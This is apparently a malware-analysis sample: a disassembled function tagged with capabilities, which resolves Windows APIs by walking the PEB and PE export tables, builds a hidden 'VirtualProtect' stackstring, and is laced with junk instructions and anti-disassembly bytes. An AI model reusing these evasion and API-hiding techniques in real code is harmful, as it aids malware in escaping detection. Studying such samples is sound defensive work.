Function at 0x10005aa0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
xchg ebp, eax
push eax
in eax, 0xff
call dword [ebx + 0x53]
mov dword [ebp - 0x870], 0
jmp 0x10005e5f
mov ecx, dword [ebp - 0x18f8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xea4], eax
push eax
or eax, 0xa5af
jmp 0x10005bc5
sub eax, 0x1594
call 0x10005bdb
add byte [eax + 0x3b], al
cmp eax, 0x344f403b
xor eax, dword [esi + ecx*2 - 0x7d]
les eax, [eax + ebx*2]
push eax
xor eax, 0xf101
pop eax
cmp dword [ebp - 0xea4], 0
jne 0x10005bff
mov dword [ebp - 0x870], 0
jmp 0x10005e5f
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x5c8], ecx
push ebx
or ebx, 0x6214
pop ebx
push edx
xor edx, 0xe6be
pop edx
push ecx
xor ecx, 0xbbbc
pop ecx
push eax
and eax, 0xfc5e
or eax, 0x57e0
jmp 0x10005c36
xor eax, 0xb50e
pop eax
lea edx, [ebp - 0x1ac8]
mov dword [ebp - 0xea0], edx
mov eax, dword [ebp - 0x5c8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe9c], ecx
xor edx, edx
mov word [ebp - 0x268], dx
xor eax, eax
mov word [ebp - 0x13c], ax
push esi
push edi
add esp, 4
xor esi, 0xdbb5
xor esi, 0x15c74
pop esi
push esi
and esi, 0x16dcc
and esi, 0x8fb2
add esi, 0xc30d
pop esi
push edx
push edi
add esp, 4
xor edx, 0xfb26
pop edx
mov ecx, dword [ebp - 0xe9c]
mov dx, word [ecx]
mov word [ebp - 0x12b2], dx
mov eax, dword [ebp - 0xe9c]
add eax, 2
mov dword [ebp - 0xe9c], eax
mov cx, word [ebp - 0x12b2]
mov word [ebp - 0x268], cx
mov edx, dword [ebp - 0xea0]
mov ax, word [edx]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0xea0]
add ecx, 2
mov dword [ebp - 0xea0], ecx
mov dx, word [ebp - 0x12b4]
mov word [ebp - 0x13c], dx
push esi
xor esi, 0xa26f
or esi, 0x18113
xor esi, 0xe6ac
add esi, 0x66aa
pop esi
push ebx
push esi
add esp, 4
or ebx, 0x3634
xor ebx, 0x370a
add ebx, 0x16ea0
pop ebx
movzx eax, word [ebp - 0x13c]
test eax, eax
jne 0x10005d4b
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
sub ecx, edx
mov dword [ebp - 0x1900], ecx
jmp 0x10005dae
movzx eax, word [ebp - 0x268]
movzx ecx, word [ebp - 0x13c]
cmp eax, ecx
je 0x10005c6a
movzx edx, word [ebp - 0x268]
xor edx, 0x20
movzx eax, word [ebp - 0x13c]
cmp edx, eax
je 0x10005c6a
movzx ecx, word [ebp - 0x268]
movzx edx, word [ebp - 0x13c]
cmp ecx, edx
jge 0x10005d98
mov dword [ebp - 0x18fc], 0xffffffff
jmp 0x10005da2
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x10005df7
push ebx
sub ebx, 0x1107e
jmp 0x10005dc4
jmp 0x10005dcd
pop ebx
push edi
push ebx
add esp, 4
call 0x10005ddf
add byte [edi + esi + 0x49], al
dec ebp
cmp al, byte [edx - 0x7d]
les eax, [ecx + eax*4]
idiv ecx
add byte [ecx], al
add byte [edi - 0x75], bl
lea edi, [eax]
cli
invalid
push ecx
push edi
add esp, 4
and ecx, 0x10ec
jmp 0x10005e0b
pop ecx
push edi
jmp 0x10005e16
and edi, 0x13be5
and edi, 0x12e39
sub edi, 0xd868
pop edi
mov edx, dword [ebp - 0x5c8]
mov eax, dword [edx]
mov dword [ebp - 0x5c8], eax
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0xea4]
je 0x10005e55
mov edx, dword [ebp - 0x5c8]
cmp dword [edx + 0x30], 0
jne 0x10005c0b
mov dword [ebp - 0x870], 0
push edx
xor edx, 0x1cd8
pop edx
push edx
push ecx
add esp, 4
call 0x10005e7b
add byte [edx], bh
push eax
cmp ecx, dword [eax + 0x4e]
xor al, 0x46
xor edi, dword [ecx]
add esp, 4
add edx, 0xb0d8
and edx, 0x162ec
or edx, 0xc09
pop edx
cmp dword [ebp - 0x870], 0
jne 0x10005edb
push edi
add edi, 0xb90d
jmp 0x10005ea9
pop edi
push edi
push esi
add esp, 4
sub edi, 0x100b
call 0x10005ec2
add byte [ebx + edi + 0x50], cl
aaa
dec edx
inc edi
aas
add esp, 4
sub edi, 0x5814
pop edi
mov dword [ebp - 0x8bc], 0
jmp 0x10006a17
push edx
add edx, 0x2b94
xor edx, 0x121d8
pop edx
push ebx
jmp 0x10005ef0
add ebx, 0x16ce7
call 0x10005f03
add byte [ecx], bh
cmp dh, byte [esi]
xor dh, byte [edi]
dec edx
dec esp
add esp, 4
xor ebx, 0x95fe
pop ebx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x880], 0
mov edx, dword [ebp - 0x428]
mov dword [ebp - 0x1904], edx
cmp dword [ebp - 0x1904], 0
jne 0x10005f4c
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x48c], eax
jmp 0x1000623d
mov ecx, dword [ebp - 0x1904]
mov edx, dword [ebp - 0x428]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1908], edx
jne 0x10005f74
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x48c], eax
jmp 0x1000623d
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1908]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x190c], ecx
cmp dword [ebp - 0x190c], 0
jne 0x10005fa6
mov edx, dword [ebp - 0x880]
mov dword [ebp - 0x48c], edx
jmp 0x1000623d
mov eax, dword [ebp - 0x428]
add eax, dword [ebp - 0x190c]
mov dword [ebp - 0x874], eax
jne 0x10005fcb
mov ecx, dword [ebp - 0x880]
mov dword [ebp - 0x48c], ecx
jmp 0x1000623d
mov edx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x428]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x2698], eax
mov ecx, dword [ebp - 0x874]
mov edx, dword [ebp - 0x428]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x269c], edx
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x428]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x26a0], ecx
mov dword [ebp - 0x878], 0
jmp 0x10006025
mov edx, dword [ebp - 0x878]
add edx, 1
mov dword [ebp - 0x878], edx
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x878]
cmp ecx, dword [eax + 0x18]
jae 0x10006231
mov edx, dword [ebp - 0x878]
mov eax, dword [ebp - 0x2698]
mov ecx, dword [ebp - 0x428]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x87c], ecx
mov edx, dword [ebp - 0x878]
mov eax, dword [ebp - 0x269c]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x26a0]
mov eax, dword [ebp - 0x428]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x26a4], eax
mov dword [ebp - 0x1d8], 0
jmp 0x10006095
mov ecx, dword [ebp - 0x1d8]
add ecx, 1
mov dword [ebp - 0x1d8], ecx
mov edx, dword [ebp - 0x87c]
add edx, dword [ebp - 0x1d8]
movsx eax, byte [edx]
test eax, eax
je 0x10006147
mov ecx, dword [ebp - 0x1d8]
movsx edx, byte [ebp + ecx - 0xb0c]
test edx, edx
je 0x10006147
push edi
push edx
add esp, 4
jmp 0x100060d0
call 0x100060de
add byte [edx + 0x33], cl
cmp byte [esi + 0x48], cl
dec edx
dec ecx
dec esi
add esp, 4
pop edi
push edi
push ebx
add esp, 4
and edi, 0x164ad
sub edi, 0x24a
pop edi
mov eax, dword [ebp - 0x87c]
add eax, dword [ebp - 0x1d8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1d8]
movsx eax, byte [ebp + edx - 0xb0c]
cmp ecx, eax
je 0x10006139
mov ecx, dword [ebp - 0x87c]
add ecx, dword [ebp - 0x1d8]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1d8]
movsx ecx, byte [ebp + eax - 0xb0c]
cmp edx, ecx
jne 0x10006140
jmp 0x10006086
jmp 0x10006147
push ecx
push eax
add esp, 4
and ecx, 0x54ef
jmp 0x10006159
pop ecx
push ebx
call 0x1000616a
add byte [esi + 0x3c], cl
cmp byte [ecx], bh
cmp dword [eax + 0x46], ecx
inc ebp
dec edi
add esp, 4
jmp 0x10006172
xor ebx, 0x777
pop ebx
mov edx, dword [ebp - 0x87c]
add edx, dword [ebp - 0x1d8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1d8]
movsx edx, byte [ebp + ecx - 0xb0c]
cmp eax, edx
jne 0x100061a6
mov dword [ebp - 0xea8], 0
jmp 0x10006215
push esi
add esi, 0x13435
xor esi, 0x17ea9
call 0x100061c0
add byte [edi], dh
dec edi
xor eax, 0x394c4543
add esp, 4
pop esi
push eax
or eax, 0xf090
pop eax
push edi
push edi
add esp, 4
sub edi, 0x51af
pop edi
mov eax, dword [ebp - 0x87c]
add eax, dword [ebp - 0x1d8]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1d8]
movsx eax, byte [ebp + edx - 0xb0c]
or eax, 0x20
cmp ecx, eax
jge 0x1000620b
mov dword [ebp - 0xea8], 0xffffffff
jmp 0x10006215
mov dword [ebp - 0xea8], 1
cmp dword [ebp - 0xea8], 0
jne 0x1000622c
mov ecx, dword [ebp - 0x26a4]
mov dword [ebp - 0x48c], ecx
jmp 0x1000623d
jmp 0x10006016
mov edx, dword [ebp - 0x880]
mov dword [ebp - 0x48c], edx
cmp dword [ebp - 0x48c], 0
je 0x10006318
push edx
push edx
add esp, 4
add edx, 0x15490
sub edx, 0x15697
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x7c01
pop ebx
push ebx
xor ebx, 0xae61
sub ebx, 0xf84c
add ebx, 0x135ba
pop ebx
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x26a8], eax
push edi
xor edi, 0x15125
add edi, 0x161e
sub edi, 0x135d0
pop edi
push ecx
xor ecx, 0x9ee
jmp 0x100062a8
call 0x100062b6
add byte [0x4d443650], bh
dec ecx
cmp ecx, dword [esi - 0x7d]
les eax, [ecx + ebx*2]
mov ecx, dword [ebp - 0x26a8]
mov dword [ebp - 0x26ac], ecx
lea edx, [ebp - 0x1a68]
push edx
call dword [ebp - 0x26ac]
test eax, eax
jne 0x10006318
push eax
push esi
add esp, 4
jmp 0x100062e2
pop eax
push ebx
xor ebx, 0x8911
sub ebx, 0x11df4
sub ebx, 0x9749
pop ebx
push ecx
call 0x10006305
add byte [esi], bh
cmp byte [0x493c4a45], bh
add esp, 4
pop ecx
mov dword [ebp - 0x8bc], 0
jmp 0x10006a17
push ebx
call 0x10006328
add byte [ecx + 0x4b], cl
inc ecx
inc esp
dec ecx
inc esp
xor al, 0x39
inc eax
add esp, 4
or ebx, 0x165cb
jmp 0x10006337
pop ebx
push eax
push esi
add esp, 4
or eax, 0x21c8
and eax, 0x89b7
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x26b0], eax
mov ecx, dword [ebp - 0x26b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x26d0], edx
mov eax, dword [ebp - 0x26d0]
mov dword [ebp - 0x1910], eax
push edx
add edx, 0x13858
jmp 0x10006381
sub edx, 0xdb48
pop edx
push esi
push ebx
add esp, 4
and esi, 0xb78d
xor esi, 0xd91a
jmp 0x100063a2
pop esi
cmp dword [ebp - 0x1910], 0
jne 0x100063bb
mov dword [ebp - 0x398], 0
jmp 0x10006677
mov ecx, dword [ebp - 0x1910]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xeb4], eax
push ebx
call 0x100063da
add byte [edx], bh
cmp cl, byte [ebp + 0x46]
cmp bh, byte [ecx]
add esp, 4
jmp 0x100063e4
and ebx, 0x19df
pop ebx
push ebx
sub ebx, 0x5c6f
pop ebx
push ecx
push esi
add esp, 4
add ecx, 0xb61b
pop ecx
cmp dword [ebp - 0xeb4], 0
jne 0x10006417
mov dword [ebp - 0x398], 0
jmp 0x10006677
mov ecx, dword [ebp - 0xeb4]
mov dword [ebp - 0x5cc], ecx
push edi
push esi
add esp, 4
xor edi, 0x17081
add edi, 0xb219
xor edi, 0x8168
pop edi
push edi
add edi, 0xc82e
sub edi, 0x9174
pop edi
push edx
push edi
add esp, 4
and edx, 0xac3c
pop edx
lea edx, [ebp - 0x1a68]
mov dword [ebp - 0xeb0], edx
mov eax, dword [ebp - 0x5cc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xeac], ecx
xor edx, edx
mov word [ebp - 0x26c], dx
xor eax, eax
mov word [ebp - 0x140], ax
push esi
push ecx
add esp, 4
call 0x10006493
add byte [ecx + 0x49], cl
dec ecx
cmp eax, 0xc483504a
add al, 0x81
out dx, al
arpl word [edx], si
add dword [eax], eax
jmp 0x100064a2
call 0x100064b0
add byte [ecx + edi], bh
dec esp
aas
xor al, byte [edi + 0x50]
cmp byte [ebx - 0x74a1fb3c], al
lea edx, [ecx + esi*8 - 1]
jmp dword [esi - 0x75]
push ebx
sub ebx, 0xcd36
sub ebx, 0x1281f
xor ebx, 0x15af0
pop ebx
push edi
jmp 0x10006695
call 0x100066a5
add byte [edi + 0x48], al
inc edx
dec ecx
dec eax
dec edi
aas
aaa
add esp, 4
pop edi
mov eax, dword [ebp - 0x398]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x3ac], ecx
push esi
push edx
add esp, 4
xor esi, 0x7f8e
pop esi
push eax
or eax, 0x18511
sub eax, 0xc6de
xor eax, 0x1857
or eax, 0x16b56
pop eax
push edi
push eax
add esp, 4
or edi, 0xd9f4
pop edi
mov dword [ebp - 0x890], 0
mov edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x191c], edx
cmp dword [ebp - 0x191c], 0
jne 0x1000671a
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], eax
jmp 0x10006a0b
mov ecx, dword [ebp - 0x191c]
mov edx, dword [ebp - 0x3ac]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1920], edx
jne 0x10006742
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], eax
jmp 0x10006a0b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1920]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1924], ecx
cmp dword [ebp - 0x1924], 0
jne 0x10006774
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], edx
jmp 0x10006a0b
mov eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0x1924]
mov dword [ebp - 0x884], eax
jne 0x10006799
mov ecx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], ecx
jmp 0x10006a0b
mov edx, dword [ebp - 0x884]
mov eax, dword [ebp - 0x3ac]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x26d4], eax
mov ecx, dword [ebp - 0x884]
mov edx, dword [ebp - 0x3ac]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x26d8], edx
mov eax, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x3ac]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1f3c], ecx
mov dword [ebp - 0x888], 0
jmp 0x100067f3
mov edx, dword [ebp - 0x888]
add edx, 1
mov dword [ebp - 0x888], edx
mov eax, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x888]
cmp ecx, dword [eax + 0x18]
jae 0x100069ff
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x26d4]
mov ecx, dword [ebp - 0x3ac]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x88c], ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x26d8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1f3c]
mov eax, dword [ebp - 0x3ac]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1f40], eax
mov dword [ebp - 0x1dc], 0
jmp 0x10006863
mov ecx, dword [ebp - 0x1dc]
add ecx, 1
mov dword [ebp - 0x1dc], ecx
mov edx, dword [ebp - 0x88c]
add edx, dword [ebp - 0x1dc]
movsx eax, byte [edx]
test eax, eax
je 0x10006915
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ebp + ecx - 0x9c0]
test edx, edx
je 0x10006915
push edx
and edx, 0x169dd
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x585c
sub ebx, 0x130a5
call 0x100068b6
add byte [eax + 0x40], cl
inc ebp
dec ebx
cmp eax, 0xc4834040
add al, 0xeb
push es
xor cl, byte [edx + 0x4a]
dec ebp
inc esi
aaa
pop ebx
mov eax, dword [ebp - 0x88c]
add eax, dword [ebp - 0x1dc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1dc]
movsx eax, byte [ebp + edx - 0x9c0]
cmp ecx, eax
je 0x10006907
mov ecx, dword [ebp - 0x88c]
add ecx, dword [ebp - 0x1dc]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1dc]
movsx ecx, byte [ebp + eax - 0x9c0]
cmp edx, ecx
jne 0x1000690e
jmp 0x10006854
jmp 0x10006915
push edx
sub edx, 0xfb3b
add edx, 0x16635
and edx, 0x10be0
pop edx
push eax
add eax, 0x15d0d
jmp 0x10006939
or eax, 0xfe8d
pop eax
push esi
jmp 0x10006946
pop esi
mov edx, dword [ebp - 0x88c]
add edx, dword [ebp - 0x1dc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ebp + ecx - 0x9c0]
cmp eax, edx
jne 0x10006974
mov dword [ebp - 0xeb8], 0
jmp 0x100069e3
push edi
add edi, 0x88f2
sub edi, 0x1451d
and edi, 0x6479
pop edi
push ebx
and ebx, 0xfa7f
jmp 0x10006998
pop ebx
push eax
jmp 0x1000699f
sub eax, 0x14e96
pop eax
mov eax, dword [ebp - 0x88c]
add eax, dword [ebp - 0x1dc]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1dc]
movsx eax, byte [ebp + edx - 0x9c0]
or eax, 0x20
cmp ecx, eax
jge 0x100069d9
mov dword [ebp - 0xeb8], 0xffffffff
jmp 0x100069e3
mov dword [ebp - 0xeb8], 1
cmp dword [ebp - 0xeb8], 0
jne 0x100069fa
mov ecx, dword [ebp - 0x1f40]
mov dword [ebp - 0x5d0], ecx
jmp 0x10006a0b
jmp 0x100067e4
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], edx
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x8bc], eax
push esi
push edx
add esp, 4
xor esi, 0x486a
pop esi
push esi
push ebx
add esp, 4
or esi, 0x165b8
pop esi
push esi
push ebx
add esp, 4
jmp 0x10006a3a
jmp 0x10006a42
and esi, 0xf04f
pop esi
mov ecx, dword [ebp - 0x494]
add ecx, 0xe
mov dword [ebp - 0x1f8c], ecx
push edi
push ebx
add esp, 4
add edi, 0xf8b3
pop edi
push esi
push esi
add esp, 4
jmp 0x10006a71
and esi, 0x6bca
sub esi, 0x163f
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0x115e6
pop ebx
cmp dword [ebp - 0x494], 0
je 0x10006a9c
cmp dword [ebp - 0xbfc], 0
jne 0x10006ae2
push esi
and esi, 0x15306
add esi, 0xbd5a
sub esi, 0x8f5e
pop esi
push esi
push edx
add esp, 4
add esi, 0x6f25
xor esi, 0xf231
sub esi, 0x428f
add esi, 0x1196a
pop esi
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x1f44], edx
push 0
call dword [ebp - 0x1f44]
mov dword [ebp - 0x2780], 0xa
push edi
push edx
add esp, 4
call 0x10006b00
add byte [ebx], bh
xor eax, 0x354f3234
xor eax, 0xc4833e43
add al, 0x81
out 0xdf, eax
or eax, 0xf7810000
leave
mov dl, 0
add byte [edi + 0x50], bl
jmp 0x10006b17
or eax, 0x153b3
pop eax
mov eax, dword [ebp - 0x494]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x446], cl
mov edx, dword [ebp - 0xbfc]
sub edx, dword [ebp - 0x494]
mov dword [ebp - 0x19a8], edx
mov dword [ebp - 0xee8], 0
push ecx
sub ecx, 0x16d96
call 0x10006b5c
add byte [eax + 0x4e], dl
cmp byte [ebp + 0x49], al
push eax
add esp, 4
call 0x10006b6b
add byte [ecx + 0x4d], cl
cmp eax, dword [esi + 0x35]
cmp dword [ebx + 0x535904c4], eax
push ecx
add esp, 4
and ebx, 0x2bef
pop ebx
mov byte [ebp - 0xb5c], 0x56
mov byte [ebp - 0xb5b], 0x69
mov byte [ebp - 0xb5a], 0x72
mov byte [ebp - 0xb59], 0x74
mov byte [ebp - 0xb58], 0x75
mov byte [ebp - 0xb57], 0x61
mov byte [ebp - 0xb56], 0x6c
mov byte [ebp - 0xb55], 0x50
mov byte [ebp - 0xb54], 0x72
mov byte [ebp - 0xb53], 0x6f
mov byte [ebp - 0xb52], 0x74
mov byte [ebp - 0xb51], 0x65
mov byte [ebp - 0xb50], 0x63
mov byte [ebp - 0xb4f], 0x74
mov byte [ebp - 0xb4e], 0
push ebx
jmp 0x10006bee
and ebx, 0x179e7
add ebx, 0xc233
call 0x10006c06
add byte [eax], bh
inc edi
inc esi
dec esp
add esp, 4
pop ebx
push eax
push ebx
add esp, 4
add eax, 0x16275
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1f48], eax
mov ecx, dword [ebp - 0x1f48]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1f4c], edx
mov eax, dword [ebp - 0x1f4c]
mov dword [ebp - 0x1928], eax
push ebx
call 0x10006c4e
add byte [eax + 0x37], cl
inc ebp
inc ebx
inc eax
cmp dword [edx + 0x48], eax
inc esp
cmp al, byte [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
aas
push eax
xor eax, 0x39383f4d
xor eax, dword [ebx + 0x565b04c4]
push edi
add esp, 4
sub esi, 0xf56
pop esi
cmp dword [ebp - 0x1928], 0
jne 0x10006c87
mov dword [ebp - 0x394], 0
jmp 0x10006f2e
mov ecx, dword [ebp - 0x1928]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xec4], eax
push ecx
add ecx, 0x5a94
xor ecx, 0x161f4
sub ecx, 0x67a1
xor ecx, 0xfaa6
pop ecx
push ecx
push esi
add esp, 4
or ecx, 0x11cb9
sub ecx, 0x1102b
xor ecx, 0x7851
pop ecx
cmp dword [ebp - 0xec4], 0
jne 0x10006ce3
mov dword [ebp - 0x394], 0
jmp 0x10006f2e
mov ecx, dword [ebp - 0xec4]
mov dword [ebp - 0x5d4], ecx